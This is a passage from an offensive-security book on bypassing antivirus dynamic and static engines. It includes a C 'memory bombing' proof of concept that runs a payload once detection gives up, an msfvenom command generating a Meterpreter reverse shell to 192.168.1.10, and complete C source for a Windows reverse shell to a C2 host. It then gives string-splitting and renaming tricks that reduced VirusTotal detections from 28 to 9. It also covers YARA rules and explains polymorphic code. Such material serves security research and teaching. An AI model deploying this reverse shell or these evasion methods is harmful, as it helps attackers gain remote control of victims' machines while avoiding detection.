memory space of the process loading the DLL.
• It is much more difficult to perform automatic dynamic analysis on a DLL than on
an EXE file.
• When a DLL is loaded to a process it is more difficult to find the DLL inside the
system processes, and thus this makes life harder for antivirus detection and for
incident response.
Now that we know about how it is possible to bypass antivirus software with a DLL, we
will move on to learning the third bypass technique we used during our research: antivirus
bypass using timing-based techniques.
Antivirus bypass using timing-based techniques 85
Antivirus bypass using timing-based
techniques
In order to sell security products, antivirus vendors have to emphasize two central
characteristics, as follows:
• High level of detection—Protecting the user from threats
• User-friendly—Comfortable user interface (UI), clear images, fast scans, and more
For example, we can look at a particular endpoint that has about 100,000 files. If we were
to demand maximum detection from antivirus software, scanning all of those 100,000 files
could take a few days—and, in a few cases, even longer. This is an extreme demand that
antivirus vendors cannot possibly meet, and are not supposed to.
In order to avoid this kind of situation, antivirus vendors do everything possible to
maximize wait time during a scan, even if this means that at best, detection is less precise,
or at worst, that malware is not detected at all.
Antivirus vendors prefer to scan about 100,000 files in 24 minutes, with a detection rate
of about 70%, over scanning the same number of files in 24 hours, with a detection rate
of around 95%, and it is precisely this preference that attackers and researchers can take
advantage of to avoid detection and, in fact, to conduct antivirus bypass.
There are a few techniques we can use as part of timing-based bypass. In this book, we
will explain two main techniques. The first technique will utilize Windows API calls that
cause the malware not to reach its malicious functionality within a short time. The second
technique causes the malware to take a long time loading, thus causing the antivirus
software to give up on continuing the malware scan and to conclude that it is an innocent
file.
Windows API calls for antivirus bypass
The two Windows API calls we will address in this chapter are Sleep() (https://
docs.microsoft.com/en-us/windows/win32/api/synchapi/
nf-synchapi-sleep) and GetTickCount() (https://docs.microsoft.
com/en-us/windows/win32/api/sysinfoapi/nf-sysinfoapi-
gettickcount).
86 Bypassing the Dynamic Engine
In the past, malware authors used the Sleep() function to cause the malware to delay
executing its malicious functionality for a few seconds, minutes, hours, or even days. That
way, it could avoid detection by conducting anti-analysis, to harden the life for antivirus
software and malware analysts.
But today, when—for example—a static engine of an antivirus software detects the
Sleep() function in a file, the engine causes its emulator to enter the function and run
the file for the length of time assigned by its function.
For example, if the static engine detects the Sleep() function with a 48-hour delay, the
antivirus emulator will perform emulation on the file, making it think that 48 hours have
passed, thus bypassing its "defense" mechanism.
That is the main reason that the Sleep() function is not really applicable today for
antivirus bypass. So, in order to use the timing-based bypass technique, we have to use
other functions—functions such as GetTickCount().
The GetTickCount() function is not passing any parameters but returns the amount of
time the operating system has been up and running, in milliseconds (ms). The maximum
amount of time the function can return is 49.7 days.
Using this function, a malware identifies how long the operating system has been running
and decides when the best time is to run its malicious functions and—of course—whether
it is advisable to execute them at all.
The following screenshot illustrates the Sleep() function within a PE file:
Antivirus bypass using timing-based techniques 87
Figure 4.24 – Sleep() function in a PE file
88 Bypassing the Dynamic Engine
The following screenshot shows an al-khaser.exe file (https://github.com/
LordNoteworthy/al-khaser) that uses the Sleep() and GetTickCount()
functions to identify whether time has been accelerated:
Figure 4.25 – GetTickCount() function in a PE file
The following screenshot shows the number of keylogger detections after using the
GetTickCount() function:
Figure 4.26 – Malicious file that is detected by 3/70 antivirus vendors
Here is a list of antivirus vendors that did not detect the keylogger file:
• Avast
• AVG
• Avira (No Cloud)
Antivirus bypass using timing-based techniques 89
• CrowdStrike Falcon
• Cybereason
• Cynet
• Fortinet
• F-Secure
• G-Data
• Malwarebytes
• McAfee
• Microsoft
• Palo Alto Networks
• Panda
• Sophos
• Symantec
• Trend Micro
During the research, for Proof-of-Concept (PoC) purposes, we used
the Sleep() and GetTickCount() functions exclusively, but there
are many other functions that can help malware to conduct timing-
based antivirus bypass (http://www.windowstimestamp.com/
MicrosecondResolutionTimeServicesForWindows.pdf). These include the
following:
• GetSystemTime
• GetSystemTimeAsFileTime
• QueryPerformanceCounter
• Rdtsc
• timeGetTime
• And more…
Let's learn about memory bombing.
90 Bypassing the Dynamic Engine
Memory bombing – large memory allocation
Another way to take advantage of the limited time that antivirus software has to dedicate
to each individual file during scanning is to perform a large memory allocation within the
malware code.
This causes the antivirus software to use excessive resources to check whether the file is
malicious or benign. When antivirus uses excessive resources to perform a simple scan on
a relatively large amount of memory, it forces the antivirus to back off from detecting our
malicious file. We call this technique memory bombing.
Before we dive into a practical example of how to bypass the antivirus using this
technique, we need to first understand the memory allocation mechanism, including
what is actually happening in the memory while using the malloc() function, and the
difference between malloc() and calloc(). We will also look at a practical Proof-of-
Concept that demonstrates the effectiveness of this technique.
What is malloc()?
malloc() is a function of the C language that is used, to some extent, in most
mainstream operating systems such as Linux, macOS, and—of course—Windows.
When writing a C/C++ based program, we can declare the malloc() function to be a
pointer, as follows: void *malloc(size);.
After execution of this function, it returns a value with a pointer to the allocated memory
of the process's heap (or NULL if execution fails).
It is important to note that is the programmer's responsibility to free the allocated
memory from the process's heap using the free() function, as follows: free(*ptr);.
The *ptr parameter of the free() function is the pointer to the previously allocated
memory that was allocated with malloc().
From an attacker's standpoint, freeing the allocated memory space is crucial, mainly to
wipe any data that could be used as an evidence for blue teams, digital forensics experts,
and malware analysts.
Antivirus bypass using timing-based techniques 91
The following diagram illustrates how the malloc() function allocates a block of
memory within a process's heap memory:
Figure 4.27 – Memory allocation using malloc()
Let's now understand the differences between—and uses of—malloc() and calloc().
calloc() versus malloc()
calloc() is another function that can be used to allocate memory in a process's heap.
Unlike malloc(), which requests an allocation of memory but does not fill that memory
with any data and leaves it uninitialized, calloc() initializes and fills all of the requested
allocated memory with zero bits.
With this basic understanding of memory allocation, let's dive into the following practical
example.
Here is a Proof-of-Concept example, written in C, of the memory-bombing technique:
int main()
{
char *memory_bombing = NULL;
memory_bombing = (char *) calloc(200000000, sizeof(char));
if(memory_bombing != NULL)
{
92 Bypassing the Dynamic Engine
free(memory_bombing);
payload();
}
return 0;
}
This code defines a main() function, which will ultimately execute the calloc()
function with two parameters (the number of elements, and the overall size of the
elements). Then, the if statement validates that the returned value is a valid pointer. At
this point, after executing the calloc() function, the antivirus forfeits, and thus our
code bypasses the antivirus. Next, we free the allocated memory by calling the free()
function with a pointer to the allocated memory as a parameter, and finally run our
malicious shellcode.
The following summary shows the flow of actions taking place within this code:
1. Define a main() function.
2. Declare a pointer variable named memory_bombing of type char with a NULL
value.
3. Initialize the memory_bombing variable with the pointer of the returned value
of the allocated memory of calloc(). At this point, the antivirus is struggling to
scan the file, and forfeits.
4. For the sake of clean and elegant coding, check if the returned value of memory_
bombing is a valid pointer to our allocated memory.
5. Finally, free the allocated memory using the free() function and execute the
intended malicious shellcode by calling our custom payload() function.
Now let's understand the logic behind this bypass technique.
The logic behind the technique
The logic behind this type of bypass technique relies on the dynamic antivirus engine
scanning for malicious code in newly spawned processes by allocating virtual memory so
that the executed process can be scanned for malicious code in a sandboxed environment.
The allocated memory is limited because antivirus engines do not want to impact the user
experience (UX). That is why, if we allocate a large amount of memory, antivirus engines
will opt to retreat from the scan, thus paving the way for us to execute our malicious
payload.
Antivirus bypass using timing-based techniques 93
Now, we can take this bypass technique and embed it in a simple C program that connects
to a Meterpreter listener on a specific port. We used a simple Meterpreter shellcode,
generated using the following command:
msfvenom -p windows/x64/Meterpreter/reverse_
tcp LHOST=192.168.1.10 LPORT=443 -f c
After embedding the code, we compiled it to a PE EXE file.
The following screenshot demonstrates the results of a VirusTotal scan before
implementing the memory-bombing bypass technique:
Figure 4.28 – 27/69 antivirus vendor detections before implementing memory-bombing technique
94 Bypassing the Dynamic Engine
And the following screenshot demonstrates the VirusTotal results after implementing the
memory-bombing bypass technique:
Figure 4.29 – 17/68 antivirus vendor detections after implementing the memory-bombing technique
Important note
We specifically used a Meterpreter-based reverse shell to demonstrate how
dangerous it is, and the fact that many antivirus engines do not detect it shows
the power of this bypass technique.
Notice that this technique overcame more than 30 antivirus engines. Here is a list of major
antivirus software that could be successfully bypassed solely by using this technique:
• Avast
• Bitdefender
• Comodo
Summary 95
• Check Point ZoneAlarm
• Cybereason
• Cyren
• Fortinet
• Kaspersky
• Malwarebytes
• McAfee
• Palo Alto Networks
• Panda
• Qihoo 360
• SentinelOne (Static ML)
• Sophos
• Symantec
• Trend Micro
Let's summarize the chapter.
Summary
In this chapter of the book, we started with preparing ourselves for antivirus bypass
research, and you gleaned our main perspective about antivirus bypass—the use of
platforms such as VirusTotal and other alternatives. Furthermore, you have learned about
Windows API functions and their use in the Windows operating system, as well as about
process address spaces and three different process-injection techniques.
Next, we introduced you to some accompanying knowledge, such as the common PE file
types, the PE file structure, how to execute a DLL file, and why attackers use DLL files as
an integral part of their attacks.
Also, we learned about timing-based attacks, using the Sleep() and GetTickCount()
functions respectively to evade antivirus detections, and looked at why the Sleep()
function is irrelevant in modern antivirus bypass techniques.
96 Bypassing the Dynamic Engine
Other than that, you learned about memory allocations and the differences between the
malloc() and calloc() system call functions.
In the next chapter, you will learn how it is possible to bypass antivirus static engines.
Further reading
• You can read more about keyloggers in our article, Dissecting Ardamax Keylogger:
https://malwareanalysis.co/dissecting-ardamax-keylogger/
5
Bypassing the Static
Engine
In this chapter, we will go into bypassing antivirus static detection engines in
practical terms. We will learn the use of various obfuscation techniques that can be
used to potentially bypass static antivirus engines. Furthermore, we will go through
understanding the use of different encryption techniques such as oligomorphic-,
polymorphic-, and metamorphic-based code that can be used to potentially bypass static
antivirus engines. We will also show how packing and obfuscation techniques are used in
malicious code to bypass most static engines in antivirus software.
In this chapter, we will explore the following topics:
• Antivirus bypass using obfuscation
• Antivirus bypass using encryption
• Antivirus bypass using packing
98 Bypassing the Static Engine
Technical requirements
To follow along with the topics in the chapter, you will need the following:
• Previous experience in antivirus software
• Basic understanding of detecting malicious Portable Executable (PE) files
• Basic understanding of the C/C++ or Python programming languages
• Basic knowledge of the x86 assembly language
• Nice to have: Experience using a debugger and disassemblers such as Interactive
Disassembler Pro (IDA Pro) and x64dbg
Check out the following video to see the code in action: https://bit.ly/3iIDg7U
Antivirus bypass using obfuscation
Obfuscation is a simple technique of changing a form of code—such as source code and
byte code—to make it less readable. For example, an Android Package Kit (APK) file can
easily be decompiled to make it readable to Java code.
Here is an example of a decompilation process:
Figure 5.1 – Basic decompilation process
An app developer does not want unauthorized individuals to see their code, so the
developer will use an obfuscation technique to protect the code and make it unreadable.
There are several obfuscation techniques. These are the two main techniques we have used
in our research:
• Rename obfuscation
• Control-flow obfuscation
Let's look at both of these techniques in detail.
Antivirus bypass using obfuscation 99
Rename obfuscation
With this technique, obfuscation is mainly performed on the variable names within the
code. This technique makes it difficult to read and understand the code, as well as to
understand the variable names and their context within the code itself.
After obfuscation, the variable name may be letters such as "A", "B", "C", and "D",
numbers, unprintable characters, and more.
For example, we can use Oxyry Python Obfuscator (https://pyob.oxyry.com/) to
perform rename obfuscation on this code to solve the eight queens problem.
Here is the readable code:
"""The n queens puzzle.
https://github.com/sol-prog/N-Queens-Puzzle/blob/master/
nqueens.py
"""
__all__ = []
class NQueens:
"""Generate all valid solutions for the n queens puzzle"""
def __init__(self, size):
# Store the puzzle (problem) size and the number of
valid solutions
self.__size = size
self.__solutions = 0
self.__solve()
def __solve(self):
"""Solve the n queens puzzle and print the number of
solutions"""
positions = [-1] * self.__size
self.__put_queen(positions, 0)
print("Found", self.__solutions, "solutions.")
def __put_queen(self, positions, target_row):
"""
100 Bypassing the Static Engine
Try to place a queen on target_row by checking all N
possible cases.
If a valid place is found the function calls itself
trying to place a queen
on the next row until all N queens are placed on the
NxN board.
"""
# Base (stop) case - all N rows are occupied
if target_row == self.__size:
self.__show_full_board(positions)
self.__solutions += 1
else:
# For all N columns positions try to place a queen
for column in range(self.__size):
# Reject all invalid positions
if self.__check_place(positions, target_row,
column):
positions[target_row] = column
self.__put_queen(positions, target_row + 1)
def __check_place(self, positions, ocuppied_rows, column):
"""
Check if a given position is under attack from any of
the previously placed queens (check column and diagonal
positions)
"""
for i in range(ocuppied_rows):
if positions[i] == column or \
positions[i] - i == column - ocuppied_rows or \
positions[i] + i == column + ocuppied_rows:
return False
return True
def __show_full_board(self, positions):
"""Show the full NxN board"""
for row in range(self.__size):
Antivirus bypass using obfuscation 101
line = ""
for column in range(self.__size):
if positions[row] == column:
line += "Q "
else:
line += ". "
print(line)
print("\n")
def __show_short_board(self, positions):
"""
Show the queens positions on the board in compressed
form,
each number represent the occupied column position in
the corresponding row.
"""
line = ""
for i in range(self.__size):
line += str(positions[i]) + " "
print(line)
def main():
"""Initialize and solve the n queens puzzle"""
NQueens(8)
if __name__ == "__main__":
# execute only if run as a script
main()
And here is the same code, which has exactly the same functionality, after performing
rename obfuscation using Oxyry:
""#line:4
__all__ =[]#line:6
class OO00OOOO0O0O00000 :#line:8
""#line:9
def __init__ (O0OOO0000O0OO0000 ,O00OO0O00OO0OO0O0
):#line:11
102 Bypassing the Static Engine
O0OOO0000O0OO0000 .__OOOO0000O00OO00OO
=O00OO0O00OO0OO0O0 #line:13
O0OOO0000O0OO0000 .__OOOO0O00000O0O0O0 =0 #line:14
O0OOO0000O0OO0000 .__O00OO0000O0000000 ()#line:15
def __O00OO0000O0000000 (O0000OO0OO00000O0 ):#line:17
""#line:18
O0000OOO0OOOO0000 =[-1 ]*O0000OO0OO00000O0 .__
OOOO0000O00OO00OO #line:19
O0000OO0OO00000O0 .__O00O00O00000O0OOO
(O0000OOO0OOOO0000 ,0 )#line:20
print ("Found",O0000OO0OO00000O0 .__OOOO0O00000O0O0O0
,"solutions.")#line:21
def __O00O00O00000O0OOO (OOOOOOOOOO0O0O0OO
,OOOOO0OOOO0000000 ,O00O0OOO0O0000O00 ):#line:23
""#line:28
if O00O0OOO0O0000O00 ==OOOOOOOOOO0O0O0OO .__
OOOO0000O00OO00OO :#line:30
OOOOOOOOOO0O0O0OO .__O0OOOOOOO0O000O0O
(OOOOO0OOOO0000000 )#line:31
OOOOOOOOOO0O0O0OO .__OOOO0O00000O0O0O0 +=1 #line:32
else :#line:33
for O00OO0OO000OO0OOO in range (OOOOOOOOOO0O0O0OO
.__OOOO0000O00OO00OO ):#line:35
if OOOOOOOOOO0O0O0OO .__OOO000OO0000OOOOO
(OOOOO0OOOO0000000 ,O00O0OOO0O0000O00 ,O00OO0OO000OO0OOO
):#line:37
OOOOO0OOOO0000000 [O00O0OOO0O0000O00
]=O00OO0OO000OO0OOO #line:38
OOOOOOOOOO0O0O0OO .__O00O00O00000O0OOO
(OOOOO0OOOO0000000 ,O00O0OOO0O0000O00 +1 )#line:39
def __OOO000OO0000OOOOO (OOOO00OOOOOO00O0O
,O0OOOOO00OO000OO0 ,OOOOO0OOO0O00O0O0 ,OO0O0OO000OOOOO00
):#line:42
""#line:46
for O0OOO00OOOO0OOOOO in range (OOOOO0OOO0O00O0O0
):#line:47
if O0OOOOO00OO000OO0 [O0OOO00OOOO0OOOOO
]==OO0O0OO000OOOOO00 or O0OOOOO00OO000OO0 [O0OOO00OOOO0OOOOO
]-O0OOO00OOOO0OOOOO ==OO0O0OO000OOOOO00 -OOOOO0OOO0O00O0O0
Antivirus bypass using obfuscation 103
or O0OOOOO00OO000OO0 [O0OOO00OOOO0OOOOO ]+O0OOO00OOOO0OOOOO
==OO0O0OO000OOOOO00 +OOOOO0OOO0O00O0O0 :#line:50
return False #line:52
return True #line:53
def __O0OOOOOOO0O000O0O (O0O0000O0OOO0OO0O
,OOO000OOOO0O00OO0 ):#line:55
""#line:56
for O0OO0OOO000OOO0OO in range (O0O0000O0OOO0OO0O .__
OOOO0000O00OO00OO ):#line:57
OO0000OOOO000OO0O =""#line:58
for OO0O00O0O000O00O0 in range (O0O0000O0OOO0OO0O
.__OOOO0000O00OO00OO ):#line:59
if OOO000OOOO0O00OO0 [O0OO0OOO000OOO0OO
]==OO0O00O0O000O00O0 :#line:60
OO0000OOOO000OO0O +="Q "#line:61
else :#line:62
OO0000OOOO000OO0O +=". "#line:63
print (OO0000OOOO000OO0O )#line:64
print ("\n")#line:65
def __OOOOOOO00O0O000OO (O00O000OOOO00OO0O
,O000O00000OO0O0O0 ):#line:67
""#line:71
OO000O00OO0O00OO0 =""#line:72
for O00OOOO0O0O0O00OO in range (O00O000OOOO00OO0O .__
OOOO0000O00OO00OO ):#line:73
OO000O00OO0O00OO0 +=str (O000O00000OO0O0O0
[O00OOOO0O0O0O00OO ])+" "#line:74
print (OO000O00OO0O00OO0 )#line:75
def O00O0O0O00OO00OO0 ():#line:77
""#line:78
OO00OOOO0O0O00000 (8 )#line:79
if __name__ =="__main__":#line:81
O00O0O0O00OO00OO0 ()#line:83
We highly recommend that before you write your own code and obfuscate it, take the
preceding example and learn the differences between the regular and the obfuscated code
to better understand the mechanisms behind it.
Feel free to go to the aforementioned website, where this code is provided.
104 Bypassing the Static Engine
Now that we have understood the concept behind rename obfuscation, let's now
understand the concept behind control-flow obfuscation.
Control-flow obfuscation
Control-flow obfuscation converts original source code to complicated, unreadable, and
unclear code. In other words, control-flow obfuscation turns simple code into spaghetti
code!
For example, here's a comparison between code before control-flow obfuscation
and the same code after performing control-flow obfuscation (https://
reverseengineering.stackexchange.com/questions/2221/what-is-a-
control-flow-flattening-obfuscation-technique):
Figure 5.2 – Code before and after control-flow obfuscation
Antivirus bypass using obfuscation 105
When using one of these obfuscation techniques to bypass antivirus software, the engine it
is bypassing will be the static engine.
To understand specifically why the static engine is the one that is bypassed, we need to
examine some static signatures. Because this explanation will center on YARA-based
signatures, it can be helpful to understand a little bit about YARA first to gain a better
understanding of static signatures.
Introduction to YARA
YARA is an open source cross-platform tool primarily intended to help malware
researchers to identify and classify malware samples. It offers a rule-based methodology
for creating malware-type descriptions based on textual and binary patterns. Today, it is
widely used by security researchers, malware analysts, forensics investigators, incident
responders, and—of course—by antivirus vendors as part of their detection engines.
From a preliminary glimpse at YARA, you might think it is a simple tool, yet we see YARA
as one of those things that are genius in their simplicity. This tool is a pattern-matching
"Swiss army knife" that detects patterns in files and in plain-text memory dumps, using
prewritten signatures created mostly by security researchers and malware analysts.
Let's go a little further to gain a better understanding of how YARA pulls this off.
How YARA detects potential malware
YARA is a rule-based pattern-matching tool that, if we write it correctly, can detect
potential malware and even hunt it on a wider scale. Antivirus software often incorporates
YARA in its static engines, especially for file-based detections. For example, if malware
such as the WannaCry ransomware is scanned for malicious and well-known patterns
by prewritten YARA rules, it can be potentially detected, and the antivirus will prevent it
from running on the targeted system.
YARA – the building blocks
YARA rules start with the word rule, followed by the rule name. Generally, rule names
are descriptive and are based on the malware type and other parameters.
Next, the body of the rules is preceded and followed with curly brackets (braces), as can be
seen in the rule that follows. The bracketed section of YARA rules includes two important
subsections: strings and condition.
106 Bypassing the Static Engine
The strings section will contain the patterns, strings, hexadecimal (hex) values, and
operation code (opcode) that we want to detect in malicious files. The condition
section is a logical section that defines the conditions under which the rule will detect or
match a pattern in a file and deliver a true result.
The meta section, which appears above the other sections, is optional, and is used to
describe written rules and explain their purpose.
The following pseudo example will help give you an understanding of each of
these sections:
rule ExampleRule_02202020
{
meta:
description = "Ransomware hunter"
strings:
$a1 = {6A 40 68 00 30 00 00 6A 14 7D 92}
$a2 = "ransomware" nocase
$c = "Pay us a good amount of ransom"
condition:
1 of $a* and $c
}
This example includes the following elements that make it a basic and correct YARA rule:
1. The name of the rule is defined using the word rule.
2. We have used the meta section to describe the goal of this rule.
3. The strings section defines three variables, each of which provides a potential
pattern to match and detect in potential malicious files. (Notice that we have used
the nocase keyword in the $a2 variable so that YARA will match the string
pattern as case-insensitive.)
4. The condition section defines the conditions that must be met in order to
consider a file malicious.
Antivirus bypass using obfuscation 107
Important note
In order to write a good YARA signature, it is very important to check a
number of variants of the malware that you are trying to hunt and detect. It
is also crucial to test and ensure that the YARA rule does not give any false
positives (for example, false detections).
Now that we understand the basics of YARA, we can turn to exploring how it is used in
the wild.
YARA signature example – Locky ransomware
In this example, we will see how a YARA signature can detect the Locky ransomware.
The following code snippet shows a YARA signature that we wrote to detect Locky's
executable (EXE) file:
rule Locky_02122020
{
meta:
description = "Locky ransomware signature"
strings:
$DOS_
Header = "!This program cannot be run in DOS mode."
$a1 = "EncryptFileW"
$a2 = "AddAce"
$a3 = "ImmGetContext" nocase
$a4 = "g27kkY9019n7t01"
condition:
$DOS_Header and all of ($a*)
}
This YARA rule will detect the Locky ransomware by the basic Disk Operating System
(DOS) header and all of the used strings under the strings section.
To check whether this signature indeed matches and detects the Locky ransomware file,
we need to execute the following command:
yara <rule_name> <file_to_scan>
108 Bypassing the Static Engine
In the following screenshot, you can see that by using a YARA rule, we detected the Locky
ransomware sample:
Figure 5.3 – YARA detection of the Locky ransomware
Let's see one more YARA detection-signature example.
YARA signature example – Emotet downloader
In this case, we will look at the Emotet downloader, which is a Microsoft Word that
includes malicious Visual Basic for Applications (VBA) macros that will download the
next stages of the attack. Most of the time, Emotet will download banker's malware that
is used for downloading other malware as the next stage of the attack. This malware can
include banking trojans such as TrickBot, IcedID, and more.
The following code snippet shows a YARA signature that we wrote to detect malicious
documents containing this VBA macro:
rule Emotet_02122020
{
meta:
description = "Emotet 1st stage downloader"
strings:
$a1 = "[Content_Types].xml"
$a2 = "word"
$a3 = "SkzznWP.wmfPK" nocase
$a4 = "dSalZH.wmf"
$a5 = "vbaProject.bin"
condition:
all of them
}
This YARA rule will detect the Emotet malware based on all of the strings used under
the strings section.
Antivirus bypass using obfuscation 109
In the following screenshot, you can see that by using a YARA rule, we detected the
Emotet downloader sample:
Figure 5.4 – YARA detection of the Emotet malware
Now that we have knowledge of how YARA works, let's see how to bypass it.
How to bypass YARA
Bypassing static signatures is dismayingly simple. If a YARA signature is written in a more
generic way—or even, perhaps, for a specific malware variant, it can be bypassed just
by modifying and manipulating some strings, and even the code of the malware itself.
Relying on YARA as the main detection engine is not a good practice, but it is always
helpful to implement it as an additional layer of detection.
Static engine bypass – practical example
The following example demonstrates the use of relatively simple code to open a
Transmission Control Protocol (TCP)-based reverse shell to a Netcat listener based
on a predefined Internet Protocol (IP) address and port (https://github.com/
dev-frog/C-Reverse-Shell/blob/master/re.cpp):
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void ExecuteShell(char* C2Server, int C2Port) {
while(true) {
SOCKET mySocket;
sockaddr_in addr;
WSADATA version;
110 Bypassing the Static Engine
WSAStartup(MAKEWORD(2,2), &version);
mySocket = WSASocket(AF_INET,SOCK_STREAM,IPPROTO_
TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(C2Server);
addr.sin_port = htons(C2Port);
if (WSAConnect(mySocket,
(SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL
==SOCKET_ERROR) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char RecvData[DEFAULT_BUFLEN];
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_
BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
else {
char Process[] = "cmd.exe";
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_
USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.
hStdError = (HANDLE) mySocket;
CreateProcess(NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL,
&sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
Antivirus bypass using obfuscation 111
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
memset(RecvData, 0, sizeof(RecvData));
int RecvCode = recv(mySocket, RecvData, DEFAULT_
BUFLEN, 0);
if (RecvCode <= 0) {
closesocket(mySocket);
WSACleanup();
continue;
}
if (strcmp(RecvData, "exit\n") == 0) {
exit(0);
}
}
}
}
}
int main(int argc, char **argv) {
FreeConsole();
if (argc == 3) {
int port = atoi(argv[2]);
ExecuteShell(argv[1], port);
}
else {
char host[] = "192.168.1.10";
int port = 443;
ExecuteShell(host, port);
}
return 0;
}
This code has three functions: main(), which is where the program starts,
FreeConsole(), which detaches the calling process from its console, and
ExecuteShell(), which executes the reverse shell.
112 Bypassing the Static Engine
Next, to compile the code, run the following command:
i686-w64-mingw32-g++ socket.cpp -o before_obfuscation.exe
-lws2_32 -lwininet -s -ffunction-sections -fdata-sections
-Wno-write-strings -fno-exceptions -fmerge-all-constants
-static-libstdc++ -static-libgcc -fpermissive
We uploaded the compiled PE executable to VirusTotal, and we received the following
detection results:
Figure 5.5 – VirusTotal's detection result of 28/71
These results are fairly high, even for a simple command-line-based reverse shell.
However, if we obfuscate this code somewhat, we can actually bypass most of these
antivirus engines.
Antivirus bypass using obfuscation 113
Here is the first section of the main() function, where our code starts to execute:
Figure 5.6 – The host and port arguments and the Run function after the change
The main function takes two arguments that we pass in the next few lines: the IP address
of the remote attacker (192.168.1.10), and the remote port of 443, which listens on
the IP of the attacker (command-and-control (C2/C&C) server).
Next, we define the socket mechanism, as follows:
Figure 5.7 – The ExecuteShell function changed to the Run function
114 Bypassing the Static Engine
This code is part of the Run() function, changed from the previous suspicious name of
RunShell(). The Run() function takes two arguments: the host IP, and the listening
port (443) of the attacker's C2 server. The use of port 443 is less suspicious because it is a
very widely used and legitimate-seeming port.
First, we use the WSAStartup function to initialize the socket, and then we use the
inet_addr and htons functions to pass the arguments that will be used as the
attacker's remote server IP and listening port. Finally, we use the WSAConnect function
to initiate and execute the connection to the remote attacker's server.
Next is the section of code used to execute the cmd.exe-based shell that we have
naturally obfuscated, using the simple trick of splitting the string—"cm" and "d.exe",
which are immediately concatenated into the string of the P variable, instead of using the
highly suspicious string value "cmd.exe" to evade antivirus detection engines. You can
see the code here:
Figure 5.8 – After basic obfuscation of cmd.exe
Antivirus bypass using obfuscation 115
Based on the preceding code, we took the following steps to significantly reduce the
number of detections:
• Renamed the function from RunShell to Run
• Renamed the function parameters from C2Server and C2Port to Server and
Port
• Manipulated the "cmd.exe" string of the Process variable, splitting it into
two different strings, P1 and P2, which are then concatenated using the standard
strcat() C function into the P variable that is then passed as the second
parameter of the CreateProcess Windows application programming interface
(API) function
After taking these extremely simple steps to modify the original code, we compiled the
simple TCP-based reverse shell once more, uploaded the file to VirusTotal, and received
the following far more successful detection results—only 9 engines detected the file, down
from 28 previously:
Figure 5.9 – VirusTotal's detection result of 9/68
116 Bypassing the Static Engine
Here is a list of major antivirus vendors that we could successfully bypass using only
this technique:
• Avast
• Avira (No Cloud)
• Bitdefender
• Comodo
• CrowdStrike Falcon
• Cybereason
• Cynet
• Fortinet
• F-Secure
• G-Data
• Malwarebytes
• Palo Alto Networks
• Sophos
• Symantec
• Trend Micro
For the purpose of the presented Proof of Concept (PoC), we did not use prewritten
obfuscators but used a manual approach to manipulate antivirus static engines.
Important note
When antivirus software detects your malware, always look at the signature
name provided by the antivirus. The signature name is the reason why the
file was detected as malware. For example, if the detection name includes the
string All your files have been encrypted, it is likely that
the ransomware has been detected because the ransomware file includes a
"malicious" string. Armed with this information, you may be able to bypass
static engines by simply renaming the strings.
To summarize, YARA is a lightweight but powerful pattern-matching tool used by
many antivirus vendors as part of their static detection engines. By exploring the building
blocks of YARA, as we have done here, it is easier to understand how, if a YARA rule
is not written precisely, it can be easily bypassed with some basic strings and code
manipulations.
Antivirus bypass using encryption 117
Now that we know how to use basic obfuscation to bypass antivirus software, we can move
on to the next technique we used during our research: encryption.
Antivirus bypass using encryption
Encrypting code is one of the most common ways to succeed with a bypass and one of the
most efficient ways to hide the source code.
Using encryption, the malicious functionality of the malware will appear as a harmless
piece of code and sometimes seem to be completely irrelevant, meaning the antivirus
software will treat it as such and will allow the malware to successfully run on the system.
But before malware starts to execute its malicious functionality, it needs to decrypt its
code within runtime memory. Only after the malware decrypts itself will the code be
ready to begin its malicious actions.
The following diagram shows the difference between an EXE file with and
without encryption:
Figure 5.10 – Malware before and after encryption took place
In order to use code encryption techniques correctly, there are a few basic sub-techniques
to be familiar with that we used while writing this book. Here are these sub-techniques:
• Oligomorphic code
• Polymorphic code
• Metamorphic code—this is not necessarily a code-encryption technique, but we
have included it in this category to emphasize the distinctions
Let's expand these three sub-techniques.
118 Bypassing the Static Engine
Oligomorphic code
Oligomorphic code includes several decryptors that malware can use. Each time it runs
on the system, it randomly chooses a different decryptor to decrypt itself, as shown in the
following diagram:
Figure 5.11 – Oligomorphic diagram
To simplify our explanation, in this diagram we have illustrated seven ways to conduct
the decryption mechanism, but in reality, malware can have 50, 100, and even several
hundreds of types of decryptors that it can use to perform decryption on itself. The
number is never fixed, but because of the limited quantity of decryptors that oligomorphic
code uses, it is still possible to conduct detection using static signatures.
Polymorphic code
Polymorphic code is more advanced than oligomorphic code. Polymorphic code mostly
uses a polymorphic engine that usually has two roles. The first role is choosing which
decryptor to use, and the second role is loading the relevant source code so that the
encrypted code will match the selected decryptor.
Antivirus bypass using encryption 119
The number of decryptors will be far higher than with oligomorphic code. In fact, the
quantity can reach the hundreds of thousands—and, in extreme cases, even millions of
relevant decryptors, but the malicious result of the malware is always the same. You can
see an example diagram here:
Figure 5.12 – Polymorphic diagram
This example diagram presents a certain type of malware that has 15 different methods to
achieve a single malicious functionality. We can see that each time it runs, the malware
calls the polymorphic engine and chooses a decryptor it is going to use to execute the
decryption. Based on this choice, it loads the relevant source code and then recompiles
itself, thus managing to avoid detection by the static engine of the antivirus software.
This diagram is also a little different from malware in the real world. In the real world,
there are more than 15 decryptors. In fact, there is an unlimited number of different
methods to reach its malicious functionality.
120 Bypassing the Static Engine
Metamorphic code
Metamorphic code is code whose goal is to change the content of malware each time it
runs, thus causing itself to mutate.
For example, the change can be such that the malware adds completely useless conditions
and variables to itself with no effect on its functionality, changes machine instructions,
adds no operation (NOP) instructions to itself in various locations, and more.
